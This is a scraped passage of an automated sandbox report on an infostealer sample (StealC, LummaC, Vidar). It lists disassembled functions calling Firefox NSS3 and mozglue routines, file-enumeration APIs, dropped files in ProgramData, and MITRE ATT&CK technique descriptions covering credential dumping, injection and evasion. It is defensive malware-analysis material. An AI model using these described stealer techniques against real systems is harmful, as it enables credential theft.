Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 5c29d76cb5ee0098c7b085f4bed50c3b365695bfbdc21a0533f6ed5a17b01ea4
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 6AF0683260113457DB104DAABC4078776DC9B4D67DF150272DD18CBB82E622DC048BA2

Function 6C40AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C40AF78

Part of subcall function 6C36ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C36ACE2
Part of subcall function 6C36ACC0: malloc.MOZGLUE(00000001), ref: 6C36ACEC
Part of subcall function 6C36ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C36AD02
Part of subcall function 6C36ACC0: TlsGetValue.KERNEL32 ref: 6C36AD3C
Part of subcall function 6C36ACC0: calloc.MOZGLUE(00000001,?), ref: 6C36AD8C
Part of subcall function 6C36ACC0: PR_Unlock.NSS3 ref: 6C36ADC0
Part of subcall function 6C36ACC0: PR_Unlock.NSS3 ref: 6C36AE8C
Part of subcall function 6C36ACC0: free.MOZGLUE(?), ref: 6C36AEAB

memcpy.VCRUNTIME140(6C4D3084,6C4D02AC,00000090), ref: 6C40AF94

Strings

SSL, xrefs: 6C40AF73

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 4012075d64abf39912dee4e691106750343b3a7c2344d7f5caf080c4f708c4e5
Instruction ID: 6ab20626ffe2537996f44b5c023fc20d3780b5790da857858edbb96f384aaaea
Opcode Fuzzy Hash: 4012075d64abf39912dee4e691106750343b3a7c2344d7f5caf080c4f708c4e5
Instruction Fuzzy Hash: EC215BB2786A48DECB02FF51A943F12BAB0B3027087509138C6190BF2DD73171489FEA

Function 6C37C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]7l,6C376499,-00000078,00000000,?,?,]7l,?,6C375DEF,?), ref: 6C37C821

Part of subcall function 6C371DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C371E0B
Part of subcall function 6C371DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C371E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]7l,?,6C375DEF,?,?,?), ref: 6C37C857

Strings

]7l, xrefs: 6C37C810

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]7l
API String ID: 221937774-2604151250
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 18b4188ac13bdd854c7768dcbdbea720c21cb0d387fb7223531c7765415b9389
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: 24F0A773A0151877EF112A65BC04AFE3659DF85159F040031FE18D6741F72AC9258FFA

Function 6C266C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K)l,?,6C294B30,80000000,?,6C294AB7,?,6C2543CF,?,6C2542D2), ref: 6C266C42

Part of subcall function 6C26CA10: malloc.MOZGLUE(?), ref: 6C26CA26

moz_xmalloc.MOZGLUE(0K)l,?,6C294B30,80000000,?,6C294AB7,?,6C2543CF,?,6C2542D2), ref: 6C266C58

Strings

0K)l, xrefs: 6C266C33, 6C266C41, 6C266C57

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K)l
API String ID: 1967447596-2917332740
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: bc82e8b99f68fab1779d40d731e4d2d7740258a0388b9482a7e44c2a2e335bf1
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 8DE080F1A10B4D479F08DD7A9C4D95A71CC87546ADF144535EC12C6FC4F674D5D04171

Function 00413BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

!=A, xrefs: 00413C82

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: !=A
API String ID: 3840410801-2919091325
Opcode ID: ec3eb8fcd7deb6c29ac1391ae926f32523ec5629f39bf7b4dfd2b3276f6df592
Instruction ID: 20ec2b31cb4d991c835852fde49fc2354676703d0d5a57c203257a76fc367b8d
Opcode Fuzzy Hash: ec3eb8fcd7deb6c29ac1391ae926f32523ec5629f39bf7b4dfd2b3276f6df592
Instruction Fuzzy Hash: FCD012756401096BCB20EF90DD589EA7779DB55305F0041C9B40EA6150EB399B818B95

Function 6C360F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F1B

Part of subcall function 6C361370: GetSystemInfo.KERNEL32(?,?,?,?,6C360936,?,6C360F20,6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000), ref: 6C36138F

PR_NewLogModule.NSS3(clock,6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F25

Part of subcall function 6C361110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C360936,00000001,00000040), ref: 6C361130
Part of subcall function 6C361110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C360936,00000001,00000040), ref: 6C361142
Part of subcall function 6C361110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C360936,00000001), ref: 6C361167

Strings

clock, xrefs: 6C360F20

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 97465d112c62a57d209775e5b8c8ee2f0cd69a014e6e6ceed70f9e25648d03ed
Instruction ID: bfca9eebf59aebc6235616addfa748bef9e47507a700f14b2c67286b0d8660e1
Opcode Fuzzy Hash: 97465d112c62a57d209775e5b8c8ee2f0cd69a014e6e6ceed70f9e25648d03ed
Instruction Fuzzy Hash: 30D0223260014411C522B2979C49F96B7BCC7C3279F100822E24882D080E2664EBCEAA

Function 6C3D0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C3D0DF5
TlsGetValue.KERNEL32 ref: 6C3D0E2D
TlsGetValue.KERNEL32 ref: 6C3D0E58
TlsGetValue.KERNEL32 ref: 6C3D0E84

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: c3c8680ce1c09fef94d8f80421c27e22d46dc8d1ed16f89a3826ff55a757c55f
Instruction ID: 2f0d306c1bcc5215de3baccd77172ee6953ea4cb551e98a74419591c0a9ae14a
Opcode Fuzzy Hash: c3c8680ce1c09fef94d8f80421c27e22d46dc8d1ed16f89a3826ff55a757c55f
Instruction Fuzzy Hash: 4931D472A45B86CBDB10BF39C44525977B8BF06B0CF02462DDC8887A21DB31E485CF92

Function 6C3D0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C372AF5,?,?,?,?,?,6C370A1B,00000000), ref: 6C3D0F1A
malloc.MOZGLUE(00000001), ref: 6C3D0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C3D0F42
TlsGetValue.KERNEL32 ref: 6C3D0F5B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 8b3a8b47d2821c3937617df6293efd1577fde7fe1565fa4127a02fc58c3bb932
Instruction ID: ccde3a5c94017c7afd5dc104d077aa2b773389956eb249517cd064868bb223a1
Opcode Fuzzy Hash: 8b3a8b47d2821c3937617df6293efd1577fde7fe1565fa4127a02fc58c3bb932
Instruction Fuzzy Hash: 9301D8B2E012905BE710773A9D459567AACEF42699B120125EC58C2A21EB31E9458AE3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFBFHDBKJE.exe

C:\ProgramData\AKFCFBAA

C:\ProgramData\AKKECAFBFHJDGDHIEHJD

C:\ProgramData\BKKFHIEG

C:\ProgramData\BKKFHIEGDHJKECAAKKEBAFIJKF

C:\ProgramData\DAEGIIECGHCBFHJKEHDB

C:\ProgramData\EBAAAFBGDBKK\AFHDBG

C:\ProgramData\EBAAAFBGDBKK\GHDHDB

C:\ProgramData\EGIDAAFIEHIE\BAAAAK

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
